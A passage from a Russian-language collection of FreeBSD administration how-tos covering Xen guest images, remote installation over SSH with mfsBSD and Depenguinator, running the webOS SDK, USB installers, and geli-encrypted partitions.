       cd /usr/src
       truncate -s 1G /tmp/freebsd.img
    
    Привязываем файл с дисковым образом к устройству /dev/md0
    
       mdconfig -f freebsd.img
    
    Разбиваем разделы, форматируем и монтируем в /mnt:
    
       fdisk -BI /dev/md0
       bsdlabel -wB md0s1
       newfs -U md0s1a
       mount /dev/md0s1a /mnt
    
    Собираем мир и ядро с паравиртуальными драйверами Xen и устанавливаем в директорию /mnt:
    
       make buildworld
       make buildkernel KERNCONF=XEN 
       make DESTDIR=/mnt installworld
       make DESTDIR=/mnt installkernel KERNCONF=XEN 
       make DESTDIR=/mnt distribution
    
    В /mnt/etc/ttys добавляем строку с описанием терминала xc0
    
       xc0 "/usr/libexec/getty Pc" vt100 on secure
    
    В /mnt/etc/fstab прописываем параметры монтирования корня:
    
       /dev/ad0s1a / ufs rw 0 0
    
    Отмонтируем сформированный образ и скопируем его на хост-систему, на которой будет работать DomU:
    
       umount /mnt
       mdconfig -d -u 0
       bzip2 -v9 /tmp/freebsd.img
       scp /tmp/freebsd.img.bz2 user@dom0-host.example.com:/tmp/freebsd.img.bz2
    
    Отдельно копируем ядро с паравиртуальными драйверами:
    
       scp /usr/obj/usr/srcsys/XEN/kernel user@dom0-host.example.com:/tmp/freebsd_8.2-RC1_kernel
    
    
    Настраиваем Dom0
    
    Подготавливаем LVM-разделы, которые будут использоваться для работы FreeBSD.
    Создадим два раздела - один для изменения размера рабочего раздела и второй -
    рабочий раздел, на котором будет работать гостевая система.
    
    Создаем LVM-разделы в уже присутствующей физической группе xen-vol:
    
       lvcreate -L1000 -n freebsdmaint.example.com xen-vol
       lvcreate -L110000 -n freebsd-dom0.example.com xen-vol
    
    копируем ранее созданный образ в данные разделы:
    
       dd if=freebsd.img of=/dev/xen-vol/freebsdmaint.example.com bs=1M
       dd if=freebsd.img of=/dev/xen-vol/freebsd-dom0.example.com bs=1M
    
    Конфигурируем Xen:
    
    Создаем два файла конфигурации: первый для обслуживания изменения размера
    раздела и второй для рабочего виртуального окружения (отдельный раздел нужен
    так как мы не можем переконфигурировать текущий раздел без его отмонтирования,
    смонтировать файл через "mount -o loop" мы не можем так как в Linux отсутствует
    полноценная поддержка UFS).
    
    Ранее подготовленное ядро копируем в /xen/kernels/freebsd_8.2-RC1_kernel
    
    Окружение для изменения размера дискового раздела freebsdmaint.example.conf.cfg:
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1' # 1 CPU
       memory = '64' # 64 Мб ОЗУ
       disk = [ 'phy:/dev/xen-vol/freebsdmaint.example.com,hda,w',  'phy:/dev/xen-vol/freebsd-dom0.example.com,hdb,w' ]
       name = 'freebsdmaint.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Рабочее окружение freebsd-dom0.example.conf.cfg (отличается от предыдущей
    конфигурации указанием только одного раздела freebsd-dom0.example.com):
    
       kernel = "/xen/kernels/freebsd_8.2-RC1_kernel"
       vcpus = '1'
       memory = '64'
       disk = [ 'phy:/dev/xen-vol/freebsd-dom0.example.com,hda,w' ]
       name = 'freebsd-dom0.example.com'
       vif = [ 'bridge=eth0,mac=00:16:3E:62:DB:03' ]
       extra = 'xencons=tty1'
       extra = "boot_verbose"
       extra += ",boot_single"
       extra += ",kern.hz=100"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
    
    Запускаем обслуживающее окружение:
    
       xm create -c freebsdmaint.example.conf.cfg
    
    Изменяем размер рабочего раздела, который виден как /dev/ad1s1a (после запуска
    fdisk на первые два вопроса отвечаем 'y', после запроса размера указываем
    размер основного раздела как "число Мб * 2048"):
    
       fdisk -u /dev/ad1
       
       ******* Working on device /dev/ad1 *******
       parameters extracted from in-core disklabel are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Figures below won't work with BIOS for partitions not in cyl 1
       parameters to be used for BIOS calculations are:
       cylinders=14023 heads=255 sectors/track=63 (16065 blks/cyl)
    
       Do you want to change our idea of what BIOS thinks ? [n] n
       Media sector size is 512
       Warning: BIOS sector numbering starts with sector 1
       Information from DOS bootblock is:
       The data for partition 1 is:
       sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD)
       start 63, size 2088387 (1019 Meg), flag 80 (active)
       beg: cyl 0/ head 1/ sector 1;
       end: cyl 129/ head 254/ sector 63
       Do you want to change it? [n] y
       ...
       Supply a decimal value for "size" [2088387]
    
       fdisk: WARNING: partition does not end on a cylinder boundary
       fdisk: WARNING: this may confuse the BIOS or some operating systems
       Correct this automatically? [n] y
    
       Should we write new partition table? [n] y
    
    Изменяем размер слайса:
    
       bsdlabel -e /dev/ad1s1
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 2088351 16 unused 0 0
       c: 2088387 0 unused 0 0 # "raw" part, don't edit
    
    Не трогаем значение "raw" и правим размер слайса "a", приписав туда вычисленное
    на прошлом шаге значение дискового раздела минус 16 байт. Т.е. получаем после
    правки (raw-значение рассчитается автоматически):
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 225279416 16 unused 0 0
       c: 225279432 0 unused 0 0 # "raw" part, don't edit
    
    Запускаем growfs для расширения существующей файловой системы:
    
       growfs /dev/ad1s1a
    
    Выключаем обслуживающую VM и запускаем основную. Внимание, одновременно
    основной и обслуживающий VM запускать нельзя, так как они работают с одинаковым
    дисковым разделом freebsd-dom0.example.com.
    
     
    ----* Удаленная установка FreeBSD через SSH  (доп. ссылка 1) (доп. ссылка 2)   Автор: Панфилов Алексей  [комментарии]
     
    Задача: Установка FreeBSD на удаленном сервере, к которому имеется доступ
    только через SSH и на котором отсутствует возможность обновления FreeBSD
    штатными средствами (например, установлен Linux или очень старая версия FreeBSD).
    
    Решение: 1. Сформировать отдельный загрузочный образ с настроенными параметрами
    сетевого соединения и активным ssh-сервером. 2. Записать данный образ на диск
    удаленного сервера и перезагрузиться.
    
    
    Готовим загрузочный образ на локальной FreeBSD-системе.
    
    Загружаем установочный ISO-образ:
    
       fetch ftp://ftp.freebsd.org/pub/FreeBSD/releases/amd64/ISO-IMAGES/8.1/FreeBSD-8.1-RELEASE-amd64-disc1.iso
    Загружаем mfsBSD:
    
       fetch http://people.freebsd.org/~mm/mfsbsd/mfsbsd-latest.tar.gz
    
    Распаковываем и переходим в получившуюся директорию:
    
       tar xvzf mfsbsd-1.0-beta1.tar.gz
       cd mfsbsd-1.0-beta1/conf/
    
    Правим файлы конфигурации и добавляем параметры сетевого соединения удаленного хоста:
    
    На базе примера loader.conf.sample создаем loader.conf
    
       geom_uzip_load="YES"
       mfs_load="YES"
       mfs_type="mfs_root"
       mfs_name="/mfsroot"
       tmpfs_load="YES"
       vfs.root.mountfrom="ufs:/dev/md0"
       mfsbsd.rootpw="123456"
    
    На базе примера rc.conf.sample создаем rc.conf
    
       # Настраиваем параметры сети для сетевого интерфейса em0
       hostname="mfsbsd"
       defaultrouter="192.168.1.1"
       ifconfig_em0="inet 192.168.1.5 netmask 255.255.255.0"
       varmfs="YES"
       varsize="64m"
       # Включаем SSH-сервер
       sshd_enable="YES"
    
    Добавляем адрес DNS-сервера:
       echo "nameserver 8.8.8.8" >resolv.conf
    
    Монтируем установочный ISO-образ
       mdconfig -a -t vnode -f ../../FreeBSD-8.1-RELEASE-amd64-disc1.iso md0
       mount_cd9660 /dev/md0 /cdrom/
    
    Собираем загрузочный образ для удаленного сервера:
    
       make BASE=/cdrom/8.1-RELEASE/
    
    В результате будет получен файл mfsboot.img, который следует скопировать на удаленный сервер.
    
       scp mfsboot.img user@remotehost:~/
    
    Внимание ! Перед манипуляциями с удаленным сервером, рекомендуется обязательно
    провести эксперимент на локальной машине, повторив на ней все дальнейшие шаги.
    
    Заходим на удаленный сервер.
    
    Записываем созданный загрузочный образ в начало диска:
    
       dd if=mfsboot.img of=/dev/sda bs=1m
    
    Перезагружаем сервер:
    
       shutdown -r now
    
    После перезагрузки заходим на сервер по ssh и запускаем инсталлятор sysinstall.
    
    Если возникнут проблемы с созданием устройств в devfs, то разбиваем диск вручную:
    
    Пометим системный диск как пустой:
       dd if=/dev/zero of=/dev/ad0 count=2
    
    Создадим слайс, размером во весь диск с записью загрузочного кода в сектор 0:
       fdisk -BI /dev/ad0
    
    Создаем стандартную разметку диска и устанавливаем загрузчик:
       bsdlabel -wB /dev/ad0s1 auto
    
    Форматируем разделы:
    
       newfs /dev/ad0s1a
       newfs /dev/ad0s1e
       newfs /dev/ad0s1d
       newfs /dev/ad0s1f
    
    Создаем точки монтирования:
       mount /dev/ad0s1a /mnt/
       mkdir /mnt/var
       mkdir /mnt/usr
       mkdir /mnt/tmp
       mount /dev/ad0s1d /mnt/var/
       mount /dev/ad0s1e /mnt/tmp/
       mount /dev/ad0s1f /mnt/usr/
    
    Запускаем sysinstall и выбираем пункт меню "Custom". В пункте Options
    обязательно меняем значение "Install Root" на /mnt.
    Далее посещаем раздел "Distributions" и выбираем опцию Minimal. В блоке "Media"
    выбираем ближайшее ftp-зеркало. Жмем Commit.
    
    Копируем созданные для установочного образа настройки сети или устанавливаем
    параметры в процессе работы sysinstall (не забудьте активировать ssh-сервер):
    
       cp /etc/resolv.conf /mnt/etc/
       cp /etc/rc.conf /mnt/etc/
    
    Если диск разбивался вручную, после установки необходимо откорректировать fstab.
    
    Копируем GENERIC-ядро в директорию /boot/kernel:
       chroot /mnt
       cp -Rp /boot/GENERIC/* /boot/kernel
       
    
    Еще раз все проверив перезагружаем сервер.
    
     
    ----* Установка webOS SDK во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для разработки приложений для сматрфонов Palm Pre и Pixi требуется установка
    webOS SDK, который поставляется только для Windows, MacOS X и Ubuntu Linux.
    Ниже представлено руководство по запуску во FreeBSD сборки для Linux,
    инструкция проверена на SDK версии 1.4.5.465.
    
    Устанавливаем следующие порты:
    
      archivers/dpkg
      java/jdk16
      java/linux-sun-jdk16
      emulators/virtualbox-ose
      shells/bash
    
    Загружаем webOS SDK: 32-разрядные deb-пакеты palm-novacom_1.0.56_i386.deb и palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb.
    Загрузить.
    
    
    Без установки посмотрим содержимое пакетов при помощи пакетного менеджера dpkg:
    
       dpkg --contents palm-novacom_1.0.56_i386.deb
       dpkg --contents palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb
    
    Как видим, содержимое будет установлено в директории /opt и /usr, чтобы не
    устраивать свалку в системе распакуем содержимое пакетов в отдельную директорию
    /home/USER/software/palm, а в директории /opt создадим несколько символических
    ссылок, необходимых для работы  программы palm-inspector:
    
       mkdir -p ~/software/palm
    
       dpkg-deb -x palm-novacom_1.0.56_i386.deb ~/software/palm/
       dpkg-deb -x palm-sdk_1.4.5-svn307799-sdk1457-pho465_i386.deb ~/software/palm/
       rm -rfv ~/software/palm/usr
       mv ~/software/palm/opt/* ~/software/palm/
       rm -rfv ~/software/palm/opt
    
    Правка скриптов для того чтобы они корректно заработали в новом окружении:
    
       cd ~/software/palm/PalmSDK/Current/bin
    
    В скриптах
    
       palm-generate
       palm-help
       palm-install
       palm-launch
       palm-log
       palm-package
    
    находим блок
    
       HERE="$(where_am_i "$0")"
       # look for relative dirs
       JARS_DIR="$(abs_path "$HERE/../share/jars")
    
    и заменяем его на
    
       HERE="$(dirname `realpath "$0"`)"
       # look for relative dirs
       JARS_DIR="$HERE/../share/jars"
    
    В скрипте palm-emulator дополнительно заменяем строку
    
       IMAGES_DIR="$(abs_path "$HERE/../share/emulator/images")"
    
    на
    
       IMAGES_DIR="$HERE/../share/emulator/images"
    
    и добавляем 
    
       export JAVA_HOME=/usr/local/linux-sun-jdk1.6.0
    
    после строки
    
       set -e
    
    Для корректного вызова bash заменяем заголовок
    
       #!/bin/bash
    
    на
    
       #!/usr/bin/env bash
    
    В скрипте palm-worm заменяем
    
       # remove the trailing slash (if any)
       SDK_DIR=${PalmSDK%/}
    
    на
    
       # remove the trailing slash (if any)
       SDK_DIR="$(dirname `realpath "$0"`)/../"
    
    Для удобства использования устанавливаем символические ссылки на скрипты в базовую директорию:
    
       cd ~/software/palm
       ln -s PalmSDK/Current/bin/palm-* .
    
    Обеспечиваем работоспособность прокси-сервиса Novacom, позволяющего
    устанавливать, запускать и инспектировать приложения виртуальном окружении
    VirtualBox или на подсоединенном телефоне.
    
    Устанавливаем необходимый для запуска Novacom  пакет
    libusb-0.1-4_0.1.12-14_i386.deb из репозитория Ubuntu:
    
       dpkg-deb -x libusb-0.1-4_0.1.12-14_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
       rm -rfv tmp
    
    Создаем простые скрипты-врапперы для запуска программ с учетом измененного пути к библиотекам:
    
    novacom.sh:
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacom $*
    
    
    novacomd.sh
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacomd $*
    
    novaterm.sh
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./Palm/novacom/novacom $* -t open tty://0
    
    Обеспечиваем функционирование Palminspector, программы для отладки и
    инспектирования web-приложений для webOS. Программа базируется на движке WebKit
    и требует для своей работы установку следующих пакетов из репозитория Ubuntu:
    
       libenchant1c2a_1.6.0-0ubuntu1_i386.deb
       libfam0_2.7.0-16.1_i386.deb
       libgcrypt11_1.4.4-5ubuntu2_i386.deb
       libgio-fam_2.22.0-0ubuntu1_i386.deb
       libgnutls13_2.0.4-1ubuntu2.6_i386.deb
       libgpg-error0_1.6-1ubuntu2_i386.deb
       libicu38_3.8-6ubuntu0.2_i386.deb
       libtasn1-3_2.4-1_i386.deb
       libxml2_2.7.6.dfsg-1ubuntu1_i386.deb
    
    Распаковываем данные пакеты:
    
       dpkg-deb x libenchant1c2a_1.6.0-0ubuntu1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libxml2_2.7.6.dfsg-1ubuntu1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libicu38_3.8-6ubuntu0.2_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgnutls13_2.0.4-1ubuntu2.6_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgcrypt11_1.4.4-5ubuntu2_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libtasn1-3_2.4-1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgpg-error0_1.6-1ubuntu2_i386.deb tmp
       mv tmp/lib/* ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libgio-fam_2.22.0-0ubuntu1_i386.deb tmp
       mv tmp/usr/lib/gio ~/software/palm/PalmSDK/Current/lib/
    
       dpkg-deb -x libfam0_2.7.0-16.1_i386.deb tmp
       mv tmp/usr/lib/* ~/software/palm/PalmSDK/Current/lib/
    
    Создаем скрипт-враппер palminspector.sh:
    
       #!/bin/sh
    
       CURDIR="$(dirname `realpath "$0"`)"
    
       export LD_LIBRARY_PATH=$CURDIR/PalmSDK/Current/lib:"$LD_LIBRARY_PATH"
       cd $CURDIR && exec ./PalmSDK/Current/bin/palminspector $*
    
    Решаем проблемы с путями к SDK, которые жестко прошиты в бинарном файле,
    установкой символической ссылки в директории /opt:
    
       ln -s /home/USER/software/palm/PalmSDK /opt/PalmSDK
    
    Настраиваем образ виртуальной машины для VirtualBox, для этого устанавливаем
    порт emulators/virtualbox-ose и запускаем palm-emulator для эмуляции телефонов
    Palm Pre и Palm Pixi. В процессе запуска не обращаем внимание на предупреждение
    "Novacom not responding".
    
     
    ----* Подготовка паравиртуализированного гостевого окружения с FreeBSD 8 для Xen (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    В заметке рассказано о подготовке образа гостевой системы с FreeBSD 8,
    предназначенного для работы под управлением  Xen в режиме паравиртуализации,
    позволяющем добиться более высокой производительности по сравнению с
    HVM-режимом (полная аппаратная виртуализация).
    
    В настоящее время нет готовых бинарных образов ядра и системы, предназначенных
    для установки в роли гостевой ОС. Придется создавать их вручную. Для начала
    поставим FreeBSD обычным образом на диск или под управлением VirtualBox, после
    чего займемся созданием образа, пригодного для использования в Xen DomU.
    
    Создадим каркас будущего образа гостевой ОС (размер можно сразу изменить исходя из решаемых задач):
    
       # truncate -s 256M freebsd.img
    
    Привяжем к этому файлу виртуальный диск:
    
       # mdconfig -f freebsd.img
    
    Установим загрузчик, создадим дисковые разделы и отформатируем под UFS2 с включенными softupdates:
    
       # fdisk -BI md0
       # bsdlabel -wB md0s1
       # newfs -U md0s1a
    
    Монтируем локально созданную внутри файла ФС:
    
       # mount /dev/md0s1a /mnt
    
    В /usr/src текущей системы должен быть полный набор исходных текстов, обновим их:
    
       # csup -h cvsup2.ru.FreeBSD.org -L 2 /usr/share/examples/cvsup/standard-supfile
    
    Примечание: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    
    
    Соберем ядро и мир
    
       # make buildworld && make buildkernel KERNCONF=XEN
    
    Установим итоговые собранные файлы на ранее подготовленный дисковый образ в
    файле, примонтированный в /mnt:
    
       # export DESTDIR=/mnt && make installworld && make installkernel KERNCONF=XEN && cd etc && make distribution
    
    Адаптируем настройки для работы в качестве гостевой системы Xen.
    В  /mnt/etc/fstab добавим:
    
       /dev/xbd0       /               ufs     rw              1       1
    
    В /mnt/etc/ttys:
    
       xc0     "/usr/libexec/getty Pc"         vt100   on  secure
    
    Сохраним отдельно ядро гостевой системы, так как его потребуется скопировать для загрузки из dom0:
    
       # cp /mnt/boot/kernel/kernel /some/place/freebsd-kernel
    
    Отмонтируем виртуальный диск:
    
       # umount /mnt
       # mdconfig -d -u md0
    
    В результате получены файл с гостевой системой freebsd.img и файл с ядром freebsd-kernel.
    
    
    Конфигурируем управляющее окружение Xen (dom0):
    
    Проверяем работает ли xen:
    
       # xm list
    
    Создаем файл конфигурации /etc/xen/freebsd:
    
       kernel = "/virt/freebsd-8.0p2-i386-xen-domu-kernel"
       memory = 512
       name = "freebsd"
       vif = [ '' ]
       disk = [ 'file:/virt/freebsd-8.0p2-i386-xen-domu.img,hda,w' ]
       extra = "boot_verbose=1"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
       extra += ",kern.hz=100"
    
    где, /virt/freebsd-8.0p2-i386-xen-domu-kernel путь к предварительно
    скопированному в файловую систему dom0 подготовленного ранее ядра FreeBSD.
    
    
    В /etc/xen/xend-config.sxp активируем сетевой мост для работы сети внутри FreeBSD:
    
       #(network-script network-dummy)
       (network-script network-bridge)
    
    Запускаем гостевое окружение и сразу входим в консоль:
    
       # xm create freebsd
       # xm console freebsd
    
    Из проблем, отмечена неработа настройки ifconfig_xn0="DHCP", для получения
    адреса dhclient нужно запускать вручную.
    
     
    ----* Как посмотреть список установленных во FreeBSD портов   [обсудить]
     
    Утилита pkg_info показывает список установленных пакетов с учетом номера версии, 
    чтобы сформировать список общих названий портов, которые нужно установить для повторения 
    списка программ на другой машине можно использовать скрипт:
    
       find /var/db/pkg -name +CONTENTS -exec sh -c "grep 'comment ORIGIN' {}" \;|cut -d\: -f2
    
     
    ----* Удалённая установка FreeBSD на сервер с установленным Linux   Автор: Touch  [комментарии]
     
    Для удаленной установки FreeBSD из Linux уже есть готовый инструмент который
    называется Depenguinator. Причины по которым это делается обсуждать не буду,
    вообщем имеем сервер с установленным GNU Linux.
    
    Cкачать Depenguinator можно здесь: http://www.daemonology.net/blog/2008-01-29-depenguinator-2.0.html
    
    Сам собирал всё это на своей машине под Gentoo, поэтому для сборки пришлось
    поставить app-arch/libarchive
    Возможно кому-то прийдётся поставить что-то ещё.
    
    Скачиваем и распаковываем сам depenguinator:
    
       # wget -c http://www.daemonology.net/depenguinator/depenguin-2.0.tar.gz
       # tar -xzpvf depenguin-2.0.tar.gz
    
    Выполняем всё под root'ом, потому как под пользователем не соберётся
    Переходим в depenguin-2.0, распаковываем makefs-20080113.tar.gz и выполняем:
    
       # sed -i'' -e'140i\#define ARG_MAX 2048' makefs-2008011/netbsdsrc/lib/libc/gen/glob.c
    
    Потому как версия glibc у нас новее чем у автора из-за чего нормально оно не
    собирается, после чего запаковываем всё назад в архив с таким же названием.
    
    Правим depenguinator.conf и готовим authorized_keys для чего выполняем
    
       # ssh-keygen -t rsa && cp ~/.ssh/id_rsa.pub authorized_keys
    
    Правим loader.conf, добавляем поддержку ext2fs, grub я решил оставить, он и под
    freebsd работает, а так как grub.conf у нас находится на разедле с ext2 было бы
    неплохо иметь возможность его исправить загрузившись во freebsd.
    
       # echo 'ext2fs_load="YES"' >> loader.conf
    
    Собираем загрузочный образ depenguinator'а
    
       # ./makeimage.sh ~/7.2-RELEASE-i386-disc1.iso 7.2-RELEASE authorized_keys
    
    После сборки должен получится disk.img который нужно будет загрузить а сервер.
    
    Для загрузки Depenguinator'а будем использовать swap, для чего меняем его тип fdisk'ом на a5.
    
    Накатываем образ
    
       # dd if=disk.img of=/dev/sda2
    
    Правим grub.conf, для загрузки Depenguinator'а
    
       title   Depenguinator
            root    (hd0,1)
            makeactive
            chainloader +1
    
    После чего меняем умолчательную загрузку на Depenguinator и затаив дыхание перегружаемся :)
    
    Если всё прошло нормально то после перезагрузки мы должны получить ssh с
    доступом по ключу, который мы создавали.
    
    Готовим диск и монтируем нашу будущую систему в /mnt. Если у нас на сервере всего один жёсткий
    диск - оставляем Linux'овый /boot и swap который мы используем под Depenguinator, осталные разделы
    удаляем и вместо них создаём slice для FreeBSD. Если же дисков несколько,
    например имеем software'ный
    raid можно извлечь из него один винчестер и полностью использовать для FreeBSD.
    В результате получим
    возможность загрузки GNU Linux, Depenguinator и FreeBSD.
    
    Так как сервер у меня новый то ставить на него решил 7.2-RELEASE-amd64, для
    чего копируем по ssh с первого диска base и kernels:
    
       # scp -r base kernels 1.1.1.1:/mnt/usr
    
    Устанавливаем базовую систему:
    
       # cd /mnt/usr/base && cat base.?? | tar --unlink -xpzf - -C /mnt
       # cd /mnt/usr/kernels && cat generic.?? | tar --unlink -xpzf - -C /mnt/boot
       # cd /mnt/boot; rmdir /mnt/boot/kernel; mv /mnt/boot/GENERIC /mnt/boot/kernel
    
    Редактируем /mnt/boot/loader.conf, добавляем
    
       ext2fs_load="YES"
    
    Редактируем /mnt/etc/fstab под свои разделы.
    Редактируем /mnt/etc/rc.conf, добавляем имя хоста, настройки сети и т.д.
    Редактируем /mnt/etc/ssh/sshd_config ставим
    
       PermitRootLogin yes
    
    Копируем ключ для доступа по ssh
    
       # mkdir /mnt/root/.ssh && cp /root/.ssh/authorized_keys /mnt/root/.ssh
    
    Монтируем boot'овый раздел linux'а и снова правим grub.conf, теперь добавляем
    загрузку уже новой системы:
    
       title FreeBSD
         root (hd0,2,a)
         kernel /boot/loader
    
    Снова меняем умолчательную загрузку но уже на FreeBSD и снова затаив дыхание перегружаемся :)
    После перезагрузки мы должны получить доступ по ssh с авторизацией по ключу.
    
    Советую для начала всё это проделать на виртуалке, ну или на компьютере стоящем рядом :)
    Если что-то не получилось, дополнительную информацию можно найти здесь:
    
       http://daemonicdispatches.disqus.com/the_depenguinator_version_20/ 
       http://stderr.de/blog/bryar.cgi/id_2625 
       http://gist.github.com/45741
    
     
    ----* Создание установочного USB Flash с FreeBSD 8.0 (доп. ссылка 1)   [комментарии]
     
    1. Чистим MBR и таблицу разделов на Flash:
    
        dd if=/dev/zero of=/dev/da0 bs=1k count=1
    
    2. Делаем Flash загрузочным:
    
        bsdlabel -Bw da0 auto
    
    3. Создаем файловую систему UFS2 с GEOM меткой "FreeBSD"
    
        newfs -L FreeBSD /dev/da0a
    
    4. Монтируем в /mnt/iso установочный ISO-образ:
    
        mdconfig -a -t vnode -f 8.0-HEAD-20090609-JPSNAP-i386-dvd1 -u 0
        mount -r -t cd9660 /dev/md0 /mnt/iso 
    
    5. Монтируем USB Flash:
    
        mount /dev/da0a /mnt/USB-Stick
    
    6. Копируем все файлы с iso на USB.
    
       tar cf - /mnt/iso | tar xf - -C /mnt/USB-Stick
    
    7. Редактируем /mnt/USB-Stick/etc/fstab и добавляем
    
        /dev/ufs/FreeBSD / ufs ro 0 0
    
    8. Отмонтируем Flash и iso 
    
        umount /mnt/USB-Stick
        umount /mnt/iso 
    
     
    ----* Настройка работы шифрованного корневого раздела во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Устанавливаем систему стандартным образом в один минимальный корневой раздел,
    для дополнительных разделов
    создаем фиктивные точки монтирования. Таблица разделов имеет примерно такой вид:
    
       ad4s1a / 256M
       ad4s1b swap
       ad4s1d /new-root
       ad4s1e /new-tmp
       ad4s1f /new-var
       ad4s1g /new-usr
    
    Загружаемся в установленную систему.
    
    В /boot/loader.conf добавляем 
    
       geom_eli_load="YES"
    
    Отмонтируем раздел /new-root, который будет содержать новый шифрованный корень:
    
       umount /new-root
    
    Инициализируем шифрование будущего корня и форматируем раздел:
    
       geli init -b -l 256 /dev/ad4s1d
       geli attach /dev/ad4s1d
       newfs -L root /dev/ad4s1d.eli
    
    В  /etc/fstab меняем /dev/ad4s1d на /dev/ad4s1d.eli
    Монтируем шифрованный раздел:
    
       mount /new-root
    
    Создаем ключи для шифрования остальных разделов, заполнив их случайными данными:
    
       dd if=/dev/random of=/new-root/ad4s1e.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1f.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1g.key bs=512 count=1
    
    Отключаем активный раздел подкачки и  шифруем его:
       swapoff -a
       geli onetime -l 256 -s 4096 /dev/ad4s1b
    
    В /etc/fstab меняем для раздела подкачки /dev/ad4s1b на /dev/ad4s1b.eli
    Активируем раздел подкачки:
       swapon -a
    
    Готовим шифрованные разделы tmp, var и usr:
    
       umount /new-tmp
       umount /new-var
       umount /new-usr
    
       geli init -K /new-root/ad4s1e.key -l 256 -P /dev/ad4s1e
       geli init -K /new-root/ad4s1f.key -l 256 -P /dev/ad4s1f
       geli init -K /new-root/ad4s1g.key -l 256 -P /dev/ad4s1g
       geli attach -k /new-root/ad4s1e.key -p /dev/ad4s1e  
       geli attach -k /new-root/ad4s1f.key -p /dev/ad4s1f
       geli attach -k /new-root/ad4s1g.key -p /dev/ad4s1g
    
       newfs -L tmp /dev/ad4s1e.eli
       newfs -L var /dev/ad4s1f.eli
       newfs -L usr /dev/ad4s1g.eli
    
    Формируем будущий образ иерархии монтирования разделов:
    
       cd /new-root
       mkdir tmp
       mkdir var
       mkdir usr
       mount /dev/ad4s1e.eli tmp/
       mount /dev/ad4s1f.eli var/
       mount /dev/ad4s1g.eli usr/
    
    Монтируем установочный диск с FreeBSD и копируем с него в новый корень образ базовой системы:
       mount /cdrom
       cd /cdrom/6.2-RELEASE/base
       cat base.?? | tar --unlink -xpzf - -C /new-root/
    
    Другой вариант скопировать уже установленный корень:
       
       tar -cf - / --exclude /new-root | tar -xf - -C /new-root
    
    Подготавливаем новый корень к загрузке:
    
       mkdir /new-root/mnt/boot
       cp /etc/fstab /new-root/etc/fstab
    
    В /new-root/etc/fstab добавляем разделы для монтирования:
    
        /dev/ad4s1a /mnt/boot ufs rw 1 1
        /dev/ad4s1e.eli / ufs rw 1 1
        /dev/ad4s1d.eli /tmp ufs rw 1 1
        /dev/ad4s1g.eli /usr ufs rw 1 1
        /dev/ad4s1f.eli /var ufs rw 1 1
     
    В /new-root/etc/rc.conf определяем монтирование дополнительных шифрованных разделов:
    
        geli_devices="ad4s1e ad4s1f ad4s1g"
        geli_ad4s1e_flags="-p -k /ad4s1e.key"
        geli_ad4s1f_flags="-p -k /ad4s1f.key"
        geli_ad4s1g_flags="-p -k /ad4s1g.key"
    
    Из старого корня делаем минимальный загрузочный раздел /mnt/boot, в  /etc/fstab оставляем:
    
        /dev/ad4s1d.eli / ufs rw 1 1
    
    Перезагружаемся, чистим содержимое /mnt/boot, оставив только /mnt/boot/boot/* и /mnt/boot/etc/fstab
    
     
    ----* Инсталляция FreeBSD 7.2 с USB Flash из-за проблем с загрузкой установочного CD   [комментарии]
     
    К сожалению релиз FreeBSD 7.2 вышел
    (http://www.freebsd.org/releases/7.2R/errata.html) с неработающим
    на некоторых системах загрузочным образом. Если при попытке загрузки с disc1
    (i386) система игнорирует его,
    можно произвести установку с "dvd1" или попробовать загрузиться с образов "bootonly" или "livefs", 
    а затем, после загрузки, подменить CD в приводе на "disc1", перед стартом инсталлятора sysinstall, 
    или предварительно скопировать содержимое диска на USB Flash и выбрать его в качестве источника.
    
    Другой вариант - подготовить установочный USB Flash диск.
    
    Самый простой способ, сперва на другой машине установить FreeBSD на Flash
    стандартным способом, как на жесткий диск.
    Flash накопитель должен отобразиться в списке дисков как /dev/da0, если этого
